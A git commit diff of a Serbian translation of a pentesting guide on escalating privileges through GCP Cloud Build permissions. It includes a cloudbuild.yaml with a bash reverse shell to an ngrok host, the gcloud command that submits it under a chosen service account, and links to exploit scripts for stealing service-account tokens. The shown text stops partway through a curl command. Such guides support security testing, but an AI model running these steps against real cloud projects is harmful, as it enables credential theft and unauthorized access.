Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/

This commit is contained in:
Translator
2025-08-18 14:47:31 +00:00
parent 7d02f8d527
commit 122a76d53a

View File

@@ -13,21 +13,33 @@ Za više informacija o Cloud Build, proverite:
### `cloudbuild.builds.create`, `iam.serviceAccounts.actAs`
Sa ovom dozvolom možete **podneti cloud build**. Cloudbuild mašina će imati u svom fajl sistemu po **defaultu token cloudbuild Service Account-a**: `<PROJECT_NUMBER>@cloudbuild.gserviceaccount.com`. Međutim, možete **navesti bilo koji servisni nalog unutar projekta** u cloudbuild konfiguraciji.\
Stoga, možete jednostavno naterati mašinu da exfiltrira token na vaš server ili **dobiti reverznu ljusku unutar nje i dobiti token** (fajl koji sadrži token može se promeniti).
Stoga, možete jednostavno naterati mašinu da exfiltrira token na vaš server ili **dobiti reverznu školjku unutar nje i dobiti token** (fajl koji sadrži token može se promeniti).
Možete pronaći originalni exploit skript [**ovde na GitHub-u**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py) (ali lokacija sa koje uzima token nije radila za mene). Stoga, proverite skript za automatizaciju [**kreiranja, eksploatacije i čišćenja ranjivog okruženja ovde**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh) i python skript za dobijanje reverzne ljuske unutar cloudbuild mašine i [**krađu ovde**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py) (u kodu možete pronaći kako da navedete druge servisne naloge)**.**
#### Direktna eksploatacija putem gcloud CLI
1- Kreirajte `cloudbuild.yaml` i izmenite sa podacima vašeg listener-a.
```yaml
steps:
- name: bash
script: |
#!/usr/bin/env bash
bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14965 0>&1
options:
logging: CLOUD_LOGGING_ONLY
```
2- Učitajte jednostavnu gradnju bez izvora, yaml datoteku i odredite SA koji će se koristiti za gradnju:
```bash
gcloud builds submit --no-source --config="./cloudbuild.yaml" --service-account="projects/<PROJECT>/serviceAccounts/<SERVICE_ACCOUNT_ID>@<PROJECT_ID>.iam.gserviceaccount.com
```
#### Korišćenje python gcloud biblioteke
Možete pronaći originalni exploit skript [**ovde na GitHub-u**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py) (ali lokacija sa koje uzima token nije radila za mene). Stoga, proverite skript za automatizaciju [**kreiranja, eksploatacije i čišćenja ranjivog okruženja ovde**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh) i python skript za dobijanje reverzne ljuske unutar cloudbuild mašine i [**ukrasti je ovde**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py) (u kodu možete pronaći kako da navedete druge servisne naloge)**.**
Za detaljnije objašnjenje, posetite [https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/](https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/)
### `cloudbuild.builds.update`
**Potencijalno** sa ovom dozvolom bićete u mogućnosti da **ažurirate cloud build i jednostavno ukradete token servisnog naloga** kao što je to učinjeno sa prethodnom dozvolom (ali nažalost u vreme pisanja ovog teksta nisam mogao pronaći način da pozovem taj API).
TODO
### `cloudbuild.repositories.accessReadToken`
Sa ovom dozvolom korisnik može dobiti **token za čitanje** koji se koristi za pristup repozitorijumu:
Sa ovom dozvolom korisnik može dobiti **token za čitanje pristupa** koji se koristi za pristup repozitorijumu:
```bash
curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \